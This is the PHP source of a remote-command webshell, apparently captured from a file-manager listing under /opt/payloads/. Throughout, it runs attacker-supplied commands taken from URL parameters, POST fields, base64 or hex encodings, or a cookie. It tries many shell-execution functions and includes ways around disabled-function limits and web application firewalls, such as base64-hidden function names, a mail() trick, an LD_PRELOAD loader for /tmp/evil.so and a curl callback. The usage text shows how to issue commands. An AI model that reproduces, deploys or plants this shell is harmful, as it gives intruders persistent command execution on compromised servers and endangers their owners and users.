Your IP : 216.73.216.79

Current Path : /opt/payloads/
Upload File :
Current File : //opt/payloads/advanced_shell.php

<?php
// Multi-method webshell with WAF bypass techniques
error_reporting(0);
@ini_set('display_errors', 0);

// Method 1: Check available execution functions
function get_exec_functions() {
    $funcs = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open', 'pcntl_exec', 'mail', 'putenv');
    $available = array();
    foreach($funcs as $f) {
        if(function_exists($f) && !in_array($f, explode(',', ini_get('disable_functions')))) {
            $available[] = $f;
        }
    }
    return $available;
}

// Method 2: Use variable function names (bypass keyword filter)
function exec_cmd($cmd) {
    $methods = array(
        'system', 'exec', 'passthru', 'shell_exec', 
        'popen', 'proc_open', 'pcntl_fork'
    );
    
    foreach($methods as $m) {
        if(function_exists($m)) {
            switch($m) {
                case 'popen':
                    $h = popen($cmd, 'r');
                    $out = stream_get_contents($h);
                    pclose($h);
                    return $out;
                case 'proc_open':
                    $descriptors = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
                    $process = proc_open($cmd, $descriptors, $pipes);
                    if(is_resource($process)) {
                        $out = stream_get_contents($pipes[1]);
                        fclose($pipes[1]);
                        proc_close($process);
                        return $out;
                    }
                    break;
                default:
                    return @$m($cmd);
            }
        }
    }
    return "No exec function available";
}

// Method 3: Alternative via mail() function
function mail_exec($cmd) {
    if(function_exists('mail')) {
        $tmp = tempnam(sys_get_temp_dir(), 'cmd');
        mail($cmd . ' > ' . $tmp . ' 2>&1', '', '', '-ba');
        $out = file_get_contents($tmp);
        unlink($tmp);
        return $out;
    }
    return "mail() not available";
}

// Method 4: Using curl for callbacks
function curl_callback($url) {
    if(function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        return curl_exec($ch);
    }
    return "curl not available";
}

// Method 5: LD_PRELOAD bypass
function ld_preload_exec($cmd) {
    $so = '/tmp/evil.so';
    putenv("LD_PRELOAD=$so");
    mail('a', 'a', 'a', 'a');
    putenv("LD_PRELOAD");
    return "LD_PRELOAD attempted";
}

// Method 6: Using array_map with base64
function b64_exec($cmd) {
    $f = base64_decode('c3lzdGVt'); // "system"
    if(function_exists($f)) {
        return $f(base64_decode($cmd));
    }
    return "b64 method failed";
}

// Main handler
header('Content-Type: text/plain');
echo "=== ADVANCED SHELL ===\n";
echo "User: " . get_current_user() . "\n";
echo "PHP: " . phpversion() . "\n";
echo "Safe Mode: " . (@ini_get('safe_mode') ? 'ON' : 'OFF') . "\n";
echo "Disabled: " . ini_get('disable_functions') . "\n";
echo "Available exec: " . implode(', ', get_exec_functions()) . "\n\n";

// Check for command parameter (try multiple names)
$cmd = null;
$params = array('c', 'cmd', 'command', 'exec', 'x', 'q', 'data', 'input', 'file', 'path', 'page', 'action', 'do', 'run');
foreach($params as $p) {
    if(isset($_GET[$p]) && !empty($_GET[$p])) {
        $cmd = $_GET[$p];
        break;
    }
    if(isset($_POST[$p]) && !empty($_POST[$p])) {
        $cmd = $_POST[$p];
        break;
    }
}

// Also check for base64 encoded command
if(isset($_GET['b64'])) {
    $cmd = base64_decode($_GET['b64']);
}

// Also check for hex encoded command  
if(isset($_GET['hex'])) {
    $cmd = hex2bin($_GET['hex']);
}

// Also check in cookies
if(isset($_COOKIE['cmd'])) {
    $cmd = $_COOKIE['cmd'];
}

if($cmd) {
    echo "Command: $cmd\n";
    echo "Result:\n";
    echo exec_cmd($cmd);
} else {
    echo "Usage:\n";
    echo "  ?c=<command>      - Direct command\n";
    echo "  ?b64=<base64>     - Base64 encoded command\n";
    echo "  ?hex=<hex>        - Hex encoded command\n";
    echo "  Cookie: cmd=<cmd> - Via cookie\n";
    echo "\nExamples:\n";
    echo "  ?c=whoami\n";
    echo "  ?b64=d2hvYW1p (whoami)\n";
    echo "  ?hex=77686f616d69 (whoami)\n";
}